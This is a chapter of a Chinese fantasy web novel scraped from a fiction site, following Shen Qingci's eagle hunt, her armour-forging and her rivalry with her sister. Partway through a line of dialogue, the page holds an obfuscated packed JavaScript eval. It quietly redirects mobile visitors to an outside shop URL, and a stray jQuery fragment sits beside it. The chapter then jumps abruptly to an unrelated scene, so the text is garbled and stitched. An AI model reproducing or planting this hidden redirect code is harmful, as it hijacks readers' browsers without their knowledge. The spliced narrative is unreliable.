文趣网 > 其他小说 > 我偏要逆天命 > 22. 第 22 章
    她如法炮制,又抓了七只鹰,共获得十只鹰的羽毛。

    “够了。”她说,“再抓就过意不去了。”

    她把羽毛收进储物玉佩,准备回去后炼制成法器。

    鹰群见同伴被抓,愤怒地围攻,但就是不敢进石门。沈清辞站在石门里,朝它们挥了挥手,扬长而去。

    原路返回,跳入江中,游回岸边。

    王砚之三人正焦急地等待,见她从江里冒出来,都松了口气。

    “沈姐姐,你没事吧?”王墨之跑过来。

    “没事。”沈清辞上岸,抖了抖身上的水,“下面有个洞穴,洞穴里有很多金喙铁羽鹰。我抓了十只,得了不少羽毛。”

    “金喙铁羽鹰?!”王砚之震惊,“那可是三阶妖兽!你一个人抓了十只?”

    “不是抓,是智取。”沈清辞笑道,“它们在石门里不敢进来,我布了个困阵,就抓到了。”

    王砚之沉默片刻,竖起大拇指:“沈小姐,你真是……太厉害了。”

    “过奖过奖。”沈清辞谦虚道,“对了,洞穴里还有鬼雾,和传闻中的一样。雾气有毒,能腐蚀灵力。我用避瘴符试了试,效果不错。”

    “看来迷雾秘境的入口,就在下面。”王砚之说,“我们什么时候进去?”

    “不急。”沈清辞摇头,“里面机关重重,贸然进去会送命。先回去准备,等准备好了再来。”

    “好。”

    四人骑马回城。

    路上,王墨之好奇地问:“沈姐姐,你抓那些鹰干什么?”

    “它们的羽毛可以炼器。”沈清辞说,“金喙铁羽鹰的羽毛坚硬如铁,炼制出来的法器防御力极强。”

    “那你能帮我炼一件吗?”王墨之眼睛亮晶晶的。

    “可以。”沈清辞笑道,“等我炼好了,送你一件。”

    “谢谢沈姐姐!”

    王砚之看着弟弟开心的样子,忍不住也笑了。

    这个沈清辞,总能给人惊喜。

    沈清辞在燕子矶智擒金喙铁羽鹰的事,不知怎么传了出去。

    短短三天,整个金陵都知道了——“有个少女,单枪匹马抓了十只金喙铁羽鹰!”

    这个消息像长了翅膀一样,飞遍了大街小巷。

    茶楼酒肆里,说书人添油加醋地讲着这个故事。

    “话说那沈家二小姐,年方十六,生得花容月貌,武功高强!她手持一把神剑,独闯燕子矶,面对上百只金喙铁羽鹰,面不改色!只见她挥剑如虹,剑光过处,鹰群纷纷坠落!那场面,啧啧啧,真是惊天地泣鬼神!”

    “胡说八道!”有人反驳,“明明是智取,不是硬拼!”

    “智取也是本事啊!你智取一个给我看看?”

    众人哄笑。

    沈清辞走在街上,听见这些议论,哭笑不得。

    “小师妹,你现在是金陵的名人了。”卫惊澜调侃道。

    “我宁愿不是。”沈清辞扶额,“太高调了,容易招祸。”

    “怕什么,有我在。”卫惊澜拍胸脯。

    沈清辞笑了笑,没说话。

    她担心的不是自己的安全,而是沈望舒。

    沈望舒此时也在金陵,随文华院历练。如果她听说了自己智擒金喙铁羽鹰的事,肯定会嫉妒,说不定会搞出什么幺蛾子。

    果然,当天晚上,沈清辞就听说了一个消息。

    “文华院的人明天要在秦淮河上举办诗会,邀请金陵各家书院和世家参加。”卫惊澜打探回来汇报,“你姐姐沈望舒会出席。”

    “诗会?”沈清辞挑眉,“她倒是会选时机。”

    “你去吗?”

    “不去。”沈清辞摇头,“我对诗词没兴趣,还不如在客栈画符。”

    “可是……”卫惊澜犹豫了一下,“外面有人传,说你只会舞刀弄枪,不懂风雅。你姐姐在诗会上大放异彩,正好压你一头。”

    沈清辞笑了:“压就压吧。我又不跟她争才女的名头。”

    “你不在乎?”

    “不在乎。”沈清辞淡淡道,“名声这东西,是虚的。实力才是真的。她爱当才女就当去,我只要变强就行。”

    卫惊澜看着她的眼神,满是敬佩。

    这个小师妹,比他想象的还要通透。

    第二天,秦淮河诗会如期举行。

    沈望舒果然大放异彩,连作三首诗,被金陵文人称赞为“不让须眉”。

    消息传回客栈,沈清辞只淡淡地说了句:“挺好。”

    然后继续画符。

    她画了三天符,把从金喙铁羽鹰身上剥下来的羽毛,全部炼制成了法器。

    一共炼了十件——五件护甲,五面盾牌。

    护甲轻薄柔软,穿在身上几乎感觉不到重量,但防御力极强,能抵挡金丹期高手的全力一击。

    盾牌巴掌大小,可以挂在腰间,用时激活,会变成一面三尺高的大盾,同样能抵挡金丹期攻击。

    “好东西。”沈清辞满意地看着自己的作品。

    她把护甲和盾牌分给师兄们——顾倚舟、萧逸尘、卫惊澜每人一件护甲一面盾牌,剩下的留着自己用。

    “小师妹,你这炼器水平,比我都高了。”萧逸尘穿上护甲,爱不释手。

    “多练练就好了。”沈清辞笑道。

    “对了。”萧逸尘突然想起一件事,“我打听到一个消息——钦差赵明远,明天要去燕子矶调查。他带了文华院的人一起。”

    沈清辞心头一跳:“沈望舒也去?”

    “对。”

    “麻烦了。”沈清辞皱眉,“如果沈望舒抢先进了秘境,拿到了里面的宝物,我们就白忙活了。”

    “那怎么办?”

    “我们也去。”沈清辞说,“明天一早,出发燕子矶。”

    “好!”

    第二天一早,沈清辞、卫惊澜、萧逸尘三人骑马出城,朝燕子矶赶去。

    到达时,钦差的队伍已经到了。

    江边搭起了帐篷,士兵们忙碌着,钦差赵明远站在悬崖边,指挥手下准备下水。

    沈望舒站在赵明远身边,一袭白衣,飘飘若仙。她看见沈清辞,眼中闪过惊讶,随即露出温婉的笑容。

    “妹妹,你也来了?”

    “姐姐能来,我自然也能来。”沈清辞淡淡道。

    “妹妹来做什么?难道也想进秘境?”沈望舒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638681|206641||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    掩嘴轻笑,“秘境里危险重重,妹妹修为尚浅,还是不要冒险的好。”

    “姐姐都不怕,我怕什么?”沈清辞笑了笑,“而且,我上次在秘境里救过太子,经验丰富。姐姐要是害怕,可以跟着我。”

    沈望舒脸色一僵。

    周围的人都看向她俩,窃窃私语。

    “那就是沈家的两个女儿?一个比一个厉害。”

    “沈望舒是文华院第一才女,沈清辞是沧澜书院的怪才,都不是省油的灯。”

    “听说沈清辞上次在秘境里救了太子,这事儿是真的?”

    “当然是真的,文华院的人亲眼所见。”

    沈望舒听着这些议论,脸色越来越难看。

    她本以为这次来江南,可以大出风头,没想到沈清辞也来了,而且还抢了她的风头。

    “妹妹,上次你救太子,不过运气好罢了。”她压低声音,眼中闪过冷意,“这次,可不一定了。”

    “姐姐说的是。”沈清辞笑道,“运气这东西,说不准的。也许这次,轮到我救姐姐了。”

    沈望舒冷哼一声,转身走到赵明远身边。

    沈清辞看着她的背影,心中冷笑。

    沈望舒,这次江南之行,我让你知道,什么叫“机关算尽太聪明,反误了卿卿性命”。

    金陵的夜晚,秦淮河上灯火通明,丝竹之声不绝于耳。但城北盐运司衙门附近却一片肃杀,巡逻的士兵比白天多了三倍,火把将四周照得亮如白昼。

    沈清辞和卫惊澜站在衙门对面的一座民房顶上,俯瞰着下方的动静。

    “守卫比昨晚还多。”卫惊澜皱眉,“钦差大人这是防贼呢。”

    “不是防贼,是防我们。”沈清辞淡淡道,“昨晚我们潜入账房,虽然没被发现,但暗格被撬开了,他们肯定察觉到了。”

    “那今晚还进去吗?”

    “进。”沈清辞取出隐身符,“不过不去账房,去师爷的牢房。”

    “师爷?”

    “对。”沈清辞说,“账册虽然拿到了,但光有账册不够,还需要人证。师爷是郑克廉的心腹,肯定知道很多内幕。如果能让他开口,我们的证据就完整了。”

    卫惊澜点头:“有道理。”

    两人贴上隐身符,身形逐渐消失,悄然翻墙而入。

    盐运司衙门很大,牢房在后院的地下。两人避开巡逻队,摸到牢房入口。

    入口处有两个守卫,精神抖擞,一看就是高手。

    “用迷魂符。”沈清辞取出一张符,激活后朝守卫扔去。

    无形的波纹扩散,两个守卫身子一晃,倒在地上。

    两人闪身进入牢房。

    牢房里阴暗潮湿,空气中弥漫着霉味和血腥气。两侧是一间间牢房,里面关着各种犯人,有的在呻吟,有的在沉睡。

    最里面的那间牢房,关着一个五十多岁的老者。他穿着囚服,头发花白,面容憔悴,但一双眼睛依然明亮,透着精明。

    “师爷?”沈清辞走到牢房前,低声问。

    老者抬头,警惕地看着她:“你是谁?”

    “来救你的人。”沈清辞取出惊鸿剑,一剑斩断锁链,推开牢门。